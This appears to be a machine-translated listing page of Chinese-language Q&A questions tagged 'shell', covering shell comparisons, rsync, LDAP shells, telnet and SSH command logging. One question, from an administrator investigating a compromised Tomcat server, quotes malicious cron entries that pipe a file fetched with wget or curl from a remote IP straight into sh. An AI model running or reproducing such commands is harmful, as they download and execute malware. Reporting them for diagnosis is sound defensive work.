Questions tagged «shell»

Shell是最常用于类Unix操作系统的命令行解释器的术语,但也用于以更细化的方式与基于GUI的操作系统进行交互。它不仅允许用户从文本界面运行程序,而且经常提供基本的编程功能,例如变量,替换,输出重定向和通配符。

8
Unix shell的比较
已锁定。该问题及其答案被锁定,因为该问题是题外话,但具有历史意义。它目前不接受新的答案或互动。 在主要的Unix shell(bash,ksh,tcsh,zsh等)中,是否有令人信服的理由相互使用? 哪个是最互动/命令行友好的? 哪种最有益/最直观的脚本编写方式? 一个外壳提供了其他外壳没有提供的主要内置功能吗? 这些外壳中的任何一个对某一种功能真的有用,但对另一种功能不是真的吗?还是它们都相当全面/灵活? 这只是个人喜好吗? 如果有人愿意,我可以制作此社区Wiki。
9 linux  unix  shell 

1
如何连接流?
我知道cat可以串联文件,但是我需要串联文件和流的混合并将结果通过管道传送到另一个进程。 为了使问题更具体,我想与串联cat abc.sql在一起,gzip -dc xyz.sql.gz并将cat qvf.sql其作为单个流传送到mysql。 实现此目标的最佳方法是什么?
9 shell  pipe  cat 

2
覆盖LDAP Shell
我有一个LDAP服务器和一个预定义的外壳(bash)设置在其中。但是有些机器上我希望每当用户登录时使用不同的外壳,而不是存储在LDAP中的外壳。 我怎样才能做到这一点??有人可以给我一些指导吗? 谢谢
9 ldap  shell  login 


4
如何使用“ tput”命令设置终端的标题?
通过这个答案,我发现多年来我一直在天真地设置提示颜色。 现在,我已经修改了.bashrc,以使用“ tput”命令为提示符的各个元素上色。我剩下的一个转义代码是: TITLEBAR="\[\033]2; PROD - \u@\h:\w \007\]" 有谁知道我是否可以使用tput / terminfo属性设置终端窗口的标题栏,以便消除该转义?

3
通过未知来源的cron对Apache服务器进行Shell脚本攻击
在Apache tomcat服务器上运行项目大战时,我发现该服务器已受到威胁。 在对未知分子进行战争时,cron像这样 [root@App2 tmp]# crontab -l -u tomcat */11 * * * * wget -O - -q http://91.230.47.40/pics/logo.jpg|sh */12 * * * * curl http://91.230.47.40/pics/logo.jpg|sh 下载的文件logo.jpg带有正在下载恶意软件的外壳程序脚本。 我在下面的这个网站上发现了类似的问题 https://xn--blgg-hra.no/2017/04/covert-channels-hiding-shell-scripts-in-png-files/ 和 /security/160068/kworker34-malware-on-linux 我无法在整个代码中找到此cron调度程序的来源。 我想知道有人遇到过这个问题吗?以及如何在代码中查找调度程序的来源。 注意: 我正在研究JAVA(Struts 2)+ jsp + javascript + jquery Web项目。 每次我使用项目的war文件启动tomcat时,都会运行此调度程序,但是我无法在代码中找到任何用于调度程序的调度程序。 我在日志文件中找到了以下行 [INFO] 2017-06-02 17:00:41,564 org.apache.struts2.dispatcher.Dispatcher info - …

5
从任何地方运行脚本
我有一个脚本: #!/bin/bash echo "$(dirname $(readlink -e $1))/$(basename $1)" 坐在这里:/home/myuser/bin/abspath.sh具有执行权限。 如果我运行,echo $PATH则会得到以下信息:/usr/local/bin:/bin:/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/myuser/bin 我希望能够从任何目录调用abspath <some_path_here>它并调用我的脚本。我正在使用bash,我做错了什么?

5
记录通过ssh执行的命令
我想记录所有通过SSH执行的命令。 说, ssh something@server.com COMMAND 我想在server.com上登录“ COMMAND” 我进行了广泛搜索,但找不到任何东西。 还有一个类似的问题,但我认为那边没有解决方案。 如何记录“通过SSH远程执行” 我可以实时取景 pstree -p | grep ssh 我确实尝试过Snoopy,auditd和sudosh,但无法通过ssh记录这些命令。 有一个http://freecode.com/projects/shwatchr。但我无法下载脚本进行测试。 还有其他方法可以做到这一点吗? 谢谢.........
8 ssh  bash  logging  shell 

3
自定义Openssh Shell
环境是Ubuntu Server 12.04 我想在服务器上创建一个只能ssh到在日志文件上运行tail -f并在程序结束后关闭会话的用户(ctrl + c)。 有没有办法做到这一点?
8 linux  ubuntu  ssh  shell 

4
使用rsync移动文件夹时如何删除空的源目录?
rsync通过mv以下选项,可以非常传统地将其诱骗到移动文件夹中: rsync -axvvES --remove-source-files source_directory /destination/ 但是,我似乎无法做到的一件事是删除原始目录。该--remove-source-files标志就这样做了,除去了源文件,但也除去了源目录。我希望也有一个--remove-source-directories标志,但没有。 我该如何处理? 我想我只能rm -fr在搬家后发出一个,但是我宁愿将程序全部放在一个过程中,而不要引入潜在的错误。
8 bash  shell  rsync  zsh 


2
使Shell脚本在CentOS上作为守护程序运行?
编辑:由于某种原因,我的帖子一半被截断,不确定发生了什么。我将尽快更新,并将在顶部发布。 编辑:我再次更新了帖子,对不完整的问题表示抱歉。 编辑(美国东部标准时间2011年10月10日晚上8:55):我像史蒂文建议的那样更新了/srv/rhodecode/start.sh,仍然没有喜悦。它继续像这样挂起: [lpeabody@vcs rhodecode]$ sudo /etc/init.d/rhodecode-server start Starting rhodecode-server: 我已经更新了以下脚本以显示更改。 我一生中从未写过shell或bash脚本。我正在尝试在CentOS上安装RhodeCode,并且有Debian和Gentoo的初始化脚本,但没有RedHat / CentOS的初始化脚本,这对我来说太疯狂了。所以我需要写一个,因为我们的服务器环境仅限于运行CentOS5。该项目的源代码可以在Bitbucket上找到。 这个想法是运行带有Celery和RabbitMQ的RhodeCode。这些都是用Python编写的,我使用virtualenv将环境包含在自己的独立虚拟容器中。我在这里有了shell脚本的主意。 我创建了一个名为rhodecode的系统用户,并创建了目录/ var / run / rhodecode,该目录由rhodecode拥有。我还创建了production.ini所在的/ var / www / rhodecode以及/srv/rhodecode/start.sh,所有这些文件均由rhodecode拥有。 权限: [lpeabody@vcs run]$ ll -a /var/run/rhodecode total 12 drwxr-xr-x 2 rhodecode rhodecode 4096 Oct 10 15:57 . drwxr-xr-x 21 root root 4096 Oct 10 …

7
在Shell脚本中使用telnet
我使用telnet命令检查MySQL端口是否正在响应。 telnet 10.10.10.24 3306 我使用ctrl字符断开连接。这按预期工作。如何在Shell脚本中使用此命令?
8 shell 

5
Bash:将命令作为参数传递给函数时,引号被剥夺
我正在尝试为我的脚本实现一种空运行机制,并在将命令作为参数传递给函数并导致意外行为时遇到引号被剥夺的问题。 dry_run () { echo "$@" #printf '%q ' "$@" if [ "$DRY_RUN" ]; then return 0 fi "$@" } email_admin() { echo " Emailing admin" dry_run su - $target_username -c "cd $GIT_WORK_TREE && git log -1 -p|mail -s '$mail_subject' $admin_email" echo " Emailed" } 输出为: su - webuser1 -c …

2
终端仅显示$?
我最近在服务器上使用“ adduser username”设置了一个新用户,并注意到当我登录时会得到: $ 同样,对于我的新用户,没有突出显示文件夹或完成制表符。 但是,当我以root用户身份登录时,会得到一个完整的终端提示以及突出显示,完成等信息。 root@lin01:~# 有人知道我做错了什么吗? 编辑:解决方案是键入 chsh -s /bin/bash 用$登录。

By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.